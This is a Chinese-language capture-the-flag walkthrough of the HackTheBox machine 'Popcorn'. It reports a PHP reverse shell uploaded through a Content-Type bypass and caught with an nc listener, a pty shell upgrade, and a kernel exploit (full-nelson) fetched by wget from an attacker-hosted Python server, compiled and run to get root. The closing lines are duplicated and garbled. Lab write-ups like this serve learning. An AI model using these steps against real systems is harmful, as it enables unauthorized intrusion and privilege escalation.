Popcorn-10.10.10.6
DateTime:2019/09/16
信息收集
nmap 扫描到开放端口80、22
web服务器:apache
操作系统: Ubuntu
访问 10.10.10.6:80,
扫描网站目录,使用Dirbuster
选择 go faster,
选择字典 /usr/share/wordlist/dirbuster/directory-list-…
扫描后发现很多目录,挨着测试,发现/test.php和/torrent,其中/torrent可以上传文件
开始渗透
在上传了一个torrent文件后,会要求你上传一个screenshot,在此处我们可以上传一个php的反弹shell
由于文件格式限制,在上传时进行抓包,修改文件Content-Type为image/php
成功绕过
在本机上开启监听
nc -lvp 443
端口和shell里面设定的一致,其中shell里面还要设置本机虚拟ip
再次访问shell所在之处的screenshot,触发反弹shell
本机响应后,成功进入主机
whoami #查看当前用户权限
lsb_release -a #查看主机信息
uname -a #Linux查看版本当前操作系统内核信息
searchsploit ubuntu 9.10 #查找利用脚本,在此处可用14339.sh
get user flag
** 在 /home/georges 里面找到user.txt,get第一个flag **
要找到root.txt 就需要提权,若直接下载使用14339.sh脚本则会报一些奇怪的错误,
需要将14339.sh 里面的代码复制到新建的sh中,命名为1.sh
在目标主机里,很多键和命令都不好使用
用盖总给的命令,使目标主机有交互式shell
$ which python
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash")'
$ ctrl + z
$ stty raw -echo && fg
$ export TERM=screen
提权之前能比较容易的找到/tmp目录有执行的权限
所以
bash /tmp/1.sh
按理说 在此处我已经get root了,脚本没错脚本里的密码也多次确认,可就是get不到root整了一天多,脑袋疼。。。。
那就假装已经 get root了吧
补充:解决脚本不能成功执行的问题 在复制脚本里的代码时,记得在代码加几个回车再加几个空格~师父解决的_
get root!!
在师父的帮助下,换了一种思路。get root
我们开始用的提权脚本可能有点点未知的问题~~
换一个,使用 linux-exploit-suggester.sh提权建议脚本~
https://github.com/mzet-/linux-exploit-suggester/tree/95a05ccfc2aca6803021610aa06eab41a489f07d
download .zip
使用相同的方法把 该zip 传到目标机器上,在目标机器上运行linux-exploit-suggester.sh
该脚本给出了一大串提权建议
刚开始使用了dirtycow ,莫名的错误~
改用第一个 full-nelson
进入到利用脚本目录下搭建一个小型服务器~~和上面相同的方法,在目标主机上用 wget 获得该利用脚本
gcc 文件名.c -o 你需要执行文件名称
gcc 15704.c -o tst
./tst
执行成功,get root
root.flag
f122331023a9393319a0370129fd9b14
补充
想把本机文件传到目标主机上时,可使用python本机搭建成一个小型服务器,目标主机访问本机相应路径来获得文件
命令1
本机
python -m SimpleHTTPServer 8888
目标主机
wget ip:8888 /文件
命令2(更简短)
本机
python3 -m http.server 8888
目标主机
wget ip:8888/文件
ver 8888
目标主机
wget ip:8888 /文件
命令2(更简短)
本机
python3 -m http.server 8888
目标主机
wget ip:8888/文件